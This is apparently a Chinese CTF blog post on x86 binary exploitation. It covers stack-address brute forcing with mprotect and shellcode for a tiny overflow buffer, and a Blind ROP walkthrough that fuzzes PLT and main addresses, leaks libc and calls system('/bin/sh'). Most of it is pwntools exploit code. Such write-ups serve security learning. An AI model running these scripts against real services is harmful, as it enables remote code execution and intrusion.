x86下栈溢出太小和BROP

前言

  这篇文章主要记录在x86下解决栈溢出空间太小和BROP

DEMO1

  栈溢出可控buff太小的情况可能如下:




  可以看到read(0, &addr, 36u),可控大小才36个字节,只能控一次ROP,而在题目环境中没有libc,所以又要使用mprotect去开启权限,那一次的ROP根本满足不了我们的需求。

1
2
# 36 字节理论上只能做这样的 ROP
payload = 'a' * 16 + p32(write_addr) + p32(start_addr) + p32(1) + temp + p32(0x1000)


#### 解决方案
  这里使用的解决方案是爆破栈地址,得到栈地址(可写地址)后将我们的payload写入到栈中,然后想办法调用mprotect,并将EIP控到shellcode中来。

  因为是x86,所以我们爆的栈地址并不会太多,只需要\x00{0}{1}\xff两个字节。运用write喷出一些东西,然后看看自己放置的flag是否在接收到的数据中,如果存在,那么栈地址就得到了。


#### EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*- coding:utf-8 -*-
from pwn import *
from colored import fg, bg, attr
from cuteprint.cuteprint import PrettyPrinter
context(log_level='debug', arch='i386', os='linux')

pr = PrettyPrinter()

p = process('./demo1')
start_addr = 0x080480B8
write_addr = 0x080480F9
writable_addr = 0


def fuzz(io, temp):
io.recvuntil('something')
offset = -1
payload = 'a' * 16 + p32(write_addr) + p32(start_addr) + p32(1) + temp + p32(0x1000)
io.send(payload)
io.recvline()
try:
data = io.recv(0x1000)
# 判断我们的 flag 是否在数据中,如果在,那么说明我们找到了栈地址
if 'a'*10 in data:
log.debug(temp)
offset = data.find('a'*10)
return offset
else:
return -1
except Exception as e:
return -1


def goto():
fuzz_addr = "\x00{0}{1}\xff"
got = False
for a in range(0xbe, 256):
if not got:
for b in range(0, 256, 16):
temp = fuzz_addr.format(chr(b), chr(a))
j = fuzz(p, temp)
if j > 0:
got = True
global writable_addr
writable_addr += u32(temp) + j
pr.print_good("recv offset is: " + str(j))
pr.print_good("writable_addr is: " + hex(writable_addr))
break
else:
break
goto()

padding = 'a' * 16
pr.print_good("Step1: call read...")
print("%sStep1: call read...\n%s" % (fg(200), attr('blink')))
print("%sStep1: call read...\n%s" % (fg(200), attr('underlined')))
pause()
# 喷出 0x7d 设置 eax,调 mprotect
payload = padding + p32(read_msg) + p32(start_addr) + p32(0) + p32(writable_addr) + p32(0x7d)
p.send(payload)

pr.print_good("Step2: ROP and send shellcode...")
pause()
shellcode_addr = writable_addr + 28 # len(payload2) 下一行的,不包括第二行开始的
# 这里需要注意拼接
payload2 = 'B' * 8 + p32(set_ebcdx) + p32(shellcode_addr) + p32(writable_addr & 0xfffff000) + p32(0x1000) + p32(7) # 这一行的长度
payload2 += shellcode
p.send(payload2.ljust(0x7d, '\x00'))


### DEMO2
  demo2是一道BROP,在盲pwn的情况下,我们只能靠不断的fuzzing来取得有价值的信息。这道题中没有开启ASLR,所以程序段的开始地址还是0x08048000,各程序段大致如下:


  可见plt.plt.got表都在.text代码段的前面,所以在后面我们爆破main地址的时候就能猜出一些函数的plt地址,如read,它会hong住进程。

  在x86下,fuzzing的地址并不会太大,解决BROP可以按照如下:

  • 找到putsgets等输入输出函数的plt
  • 找到main函数地址
  • 打印出两个libc函数地址用来找到libc
  • 调用system/bin/sh获取shell

  在x86的环境下,我们大可不必考虑什么stop gadget,这个跟x64还是有点差异,比较简单,无脑fuzz。。。

  dump程序如果是puts的话还是不太好做。在dump是要注意:

1
2
puts是遇到'\x00'结束输出的
gets是遇到'\x0a'结束输入的

  在找puts的plt时,如果某个地址能喷出一些东西,并且这个地址+6的地址也能喷出东西,那么这个地址就是putsplt。其他函数也可以用这个方法判断,依据可以参考ret2dl_resolve的文章。

  所以fuzz puts的函数可以写成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def fuzz_print_plt():
for j in range(1, 0x10000): # last time fuzz at: 0x08049871
fuzz = 0x80484f6 + j
p = remote('ip', port)
p.recvuntil('something"')
p.recvuntil('\nsomething\n')
payload = 'a' * offset + p32(fuzz) + p32(stop_gadget) + p32(main_addr)
p.sendline(payload)
try:
data = p.recv(0x1000, timeout=3)
if 'something' != data and 'something"' not in data:
# 判断 该地址+6 的地方是否可以输出
p = remote('ip', port)
p.recvuntil('something"')
p.recvuntil('\nsomething\n')
payload = 'a' * offset + p32(fuzz + 6) + p32(stop_gadget) + p32(main_addr)
p.sendline(payload)
try:
data = p.recv(0x1000, timeout=3)
if 'something' != data and 'something"' not in data:
print("%s ==========DUMP START======== %s" % (fg(200), attr('dim')))
hexdump.hexdump(data)
print("%s ==========DUMP END======== %s" % (fg(200), attr('dim')))

p.info("Had Found it...")
pr.print_good("Found offset: " + str(j) + ", main addr: " + hex(fuzz))

except EOFError as e:
print e
pass
except EOFError as e:
print e
pass
p.close()

  fuzz main函数也能简单,只要看覆盖的返回地址能否打印出程序开始的一些字符,如此判断程序又从头开始执行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def fuzz_main_addr():
for i in range(0x1000):
p = remote('ip', 10000)
p.recvuntil('program start...')
p.recvuntil('\nsomething\n')
p.sendline('a' * offset + p32(0x08048000 + i))
try:
p.recvuntil('program start...')
pr.print_good("Found offset: " + str(i) +
", main addr: " + hex(0x08048000 + i))
p.interactive()
except Exception as e:
print e
pass
p.close()

  但这里需要注意,能从头开始的地址不止一个,但有些会毁坏栈,导致无法再重新开始(EOF了),所以我们需要在后面精准找出符合的地址(不会EOF)。如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def fuzz_good_main_addr():
for i in range(0x080484c0, 0x080484ff):
p = remote('ip', 10000)
p.recvuntil('program start..."')
p.recvuntil('\nsomething.\n')
# 能重新开始的地址有一定范围,我们要找到能在 ROP 中依然有效的 main 函数地址
payload = 'a' * offset + p32(puts_plt) + p32(i) + p32(0x0804a010) # puts_got.plt: 0x0804a010 gets_got.plt: 0x0804a014
# gets ---> @2b0 puts ---> @b40
p.sendline(payload)
try:
data = p.recv(0x1000)
libc_base_addr = u32(data[4:8]) - libc.symbols["gets"]
log.debug("libc_base_addr: " + libc_base_addr)
p.recvuntil('program start..."')
pr.print_good("good addr: " + hex(i))
p.interactive()
except Exception as e:
print e
pass
p.close()

  在上面的例子中我们喷出了gets plt.got的地址,利用这个地址我们可以计算出libc的基址。那么接下去就是常规操作了:

1
2
3
4
5
6
7
8
9
10
11
12
offset_system = libc.symbols["system"]
system_addr = libc_base_addr + offset_system
log.debug("[*] system_addr: " + hex(system_addr))
offset_binsh = next(libc.search('/bin/sh'))
binsh_addr = libc_base_addr + offset_binsh
log.debug("[*] binsh_addr: " + hex(binsh_addr))

p.recvuntil('something')
good_main_addr = 0x080484d0
pause()
payload = 'A' * offset + p32(system_addr) + p32(good_main_addr) + p32(binsh_addr)
p.sendline(payload)

  当然我们也可以尝试dump程序,但我试了几次都不能dump能看的binary,运用的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def dump_all():
index = 0
flag = 0
while(flag < 0x1770):
dumping = base_addr + index
# gets 是按 0x0a 结束的,所以到这里的时候我们直接把那个值置为 \x00
if (dumping & 0xff) == 0x0a:
index += 1
with open('test', 'ab') as f:
f.write('\x00')
continue
p = remote('ip', 10000)
p.recvuntil('something"')
p.recvuntil('\nsomething\n')
payload = 'a' * offset + p32(puts_plt) + p32(main_addr) + p32(dumping)
p.sendline(payload)
try:
data = p.recv(0x10000)
inx = data.find('Well done!')
if inx != 0:
with open('test', 'ab') as f:
f.write(data[:inx])
index += inx
else:
with open('test', 'ab') as f:
f.write('\x00')
index += 1
flag += 1
except Exception as e:
print e
with open('test', 'ab') as f:
f.write('\x00')
index += 1
flag += 1
p.close()

  这里注意下puts是遇到\x00停止的,所以在那个地址上我们应该手动把它置为\x00,然后在index += 1

参考文章

# BROP

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×